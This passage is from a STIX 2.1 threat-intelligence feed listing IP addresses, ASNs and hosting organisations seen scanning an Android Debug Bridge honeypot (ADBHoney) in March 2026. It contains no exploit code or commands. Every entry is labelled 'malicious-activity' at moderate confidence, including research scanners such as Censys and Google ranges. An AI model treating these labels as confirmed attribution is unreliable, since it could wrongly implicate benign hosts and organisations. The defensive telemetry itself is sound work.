        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.134.199.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T17:00:23.000Z",
      "valid_until": "2026-04-26T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-25T16:56:24.000Z",
          "last_seen": "2026-03-25T16:57:26.532Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T17:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=34 | first_seen=2026-03-25T16:44:05.000Z | last_seen=2026-03-30T21:33:19.503Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T17:00:23.000Z",
      "valid_until": "2026-04-26T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 34,
          "first_seen": "2026-03-25T16:44:05.000Z",
          "last_seen": "2026-03-30T21:33:19.503Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T17:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-25T16:43:50.000Z | last_seen=2026-03-25T16:45:13.914Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--07f4c969-98be-4f62-bb7c-c04e7403d635",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T17:00:23.000Z",
      "valid_until": "2026-04-26T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-25T16:43:50.000Z",
          "last_seen": "2026-03-25T16:45:13.914Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T21:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=VU; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-25T20:16:15.000Z | last_seen=2026-03-25T20:17:51.251Z | ports=5555 | cc=VU | asn=212512 | org=Detai Prosperous Technologies Limited",
      "id": "indicator--a316bb7d-987b-425c-8783-856b97ec45ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.127.165.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T21:00:05.000Z",
      "valid_until": "2026-04-26T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-25T20:16:15.000Z",
          "last_seen": "2026-03-25T20:17:51.251Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VU"
          ],
          "asn": [
            "212512"
          ],
          "org": [
            "Detai Prosperous Technologies Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T02:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-26T01:41:22.000Z | last_seen=2026-03-26T01:42:24.538Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--7a8de1a3-e157-4b94-8f8c-bcb8e26961ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T02:00:06.000Z",
      "valid_until": "2026-04-27T02:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-26T01:41:22.000Z",
          "last_seen": "2026-03-26T01:42:24.538Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T03:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-26T02:21:40.000Z | last_seen=2026-03-26T02:23:16.196Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--d97b7e0f-cd83-4d36-92e0-b85218b3c17d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '113.236.241.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T03:00:10.000Z",
      "valid_until": "2026-04-27T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-26T02:21:40.000Z",
          "last_seen": "2026-03-26T02:23:16.196Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T03:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=RU; asn=8359; asn_org=MTS PJSC; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-26T02:33:38.000Z | last_seen=2026-03-26T02:43:53.406Z | ports=5555 | cc=RU | asn=8359 | org=MTS PJSC",
      "id": "indicator--8be1be8e-c421-47fc-afb6-e430703d03ee",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.243.10.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T03:00:10.000Z",
      "valid_until": "2026-04-27T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-26T02:33:38.000Z",
          "last_seen": "2026-03-26T02:43:53.406Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "8359"
          ],
          "org": [
            "MTS PJSC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T04:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-26T03:41:34.000Z | last_seen=2026-03-26T03:42:37.946Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--553eab97-b0c7-4b99-8245-45cad6c4fbeb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T04:00:09.000Z",
      "valid_until": "2026-04-27T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-26T03:41:34.000Z",
          "last_seen": "2026-03-26T03:42:37.946Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T06:00:45.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-26T04:57:04.000Z | last_seen=2026-03-26T05:08:43.958Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--da4dc1a9-4ffc-4b0c-aa5e-7c883430343e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:00:45.000Z",
      "valid_until": "2026-04-27T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-26T04:57:04.000Z",
          "last_seen": "2026-03-26T05:08:43.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T06:00:45.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-26T05:18:12.000Z | last_seen=2026-03-26T05:28:15.699Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:00:45.000Z",
      "valid_until": "2026-04-27T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-26T05:18:12.000Z",
          "last_seen": "2026-03-26T05:28:15.699Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T06:00:45.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-26T05:17:26.000Z | last_seen=2026-03-26T05:18:35.397Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4a51b112-4e25-41db-916c-c459bf164dee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:00:45.000Z",
      "valid_until": "2026-04-27T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-26T05:17:26.000Z",
          "last_seen": "2026-03-26T05:18:35.397Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-26T07:14:01.000Z | last_seen=2026-03-26T07:24:34.265Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3ff45d7c-0ae0-4dcf-a22a-db4b51544bd3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.74.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:00:05.000Z",
      "valid_until": "2026-04-27T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-26T07:14:01.000Z",
          "last_seen": "2026-03-26T07:24:34.265Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=NL; asn=43350; asn_org=NForce Entertainment B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-26T07:27:47.000Z | last_seen=2026-03-26T07:49:54.901Z | ports=5555 | cc=NL | asn=43350 | org=NForce Entertainment B.V.",
      "id": "indicator--c3a5fca8-b314-47de-b1fa-99e07711cfde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.107.56.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:00:05.000Z",
      "valid_until": "2026-04-27T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-26T07:27:47.000Z",
          "last_seen": "2026-03-26T07:49:54.901Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "43350"
          ],
          "org": [
            "NForce Entertainment B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T09:00:57.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-26T08:35:05.000Z | last_seen=2026-03-26T08:47:00.020Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--a3a2c154-7168-4b76-b650-c630ba4f8cfc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T09:00:57.000Z",
      "valid_until": "2026-04-27T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-26T08:35:05.000Z",
          "last_seen": "2026-03-26T08:47:00.020Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T11:00:33.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=SG; asn=136557; asn_org=Host Universal Pty Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-26T10:19:39.000Z | last_seen=2026-03-26T10:24:39.686Z | ports=5555 | cc=SG | asn=136557 | org=Host Universal Pty Ltd",
      "id": "indicator--3a8fd5b1-204e-4837-9854-5bc9f0c99ded",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '103.216.221.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:00:33.000Z",
      "valid_until": "2026-04-27T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-26T10:19:39.000Z",
          "last_seen": "2026-03-26T10:24:39.686Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "136557"
          ],
          "org": [
            "Host Universal Pty Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T11:00:33.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-26T10:45:37.000Z | last_seen=2026-03-26T10:55:49.012Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--32727ecb-5908-4a1c-94ea-adad416e893a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '180.125.183.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:00:33.000Z",
      "valid_until": "2026-04-27T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-26T10:45:37.000Z",
          "last_seen": "2026-03-26T10:55:49.012Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T11:00:33.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-26T10:01:05.000Z | last_seen=2026-03-27T09:59:26.577Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--aeb6dfd7-97d3-4a66-95d4-4965015af0cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.189.22.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:00:33.000Z",
      "valid_until": "2026-04-27T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
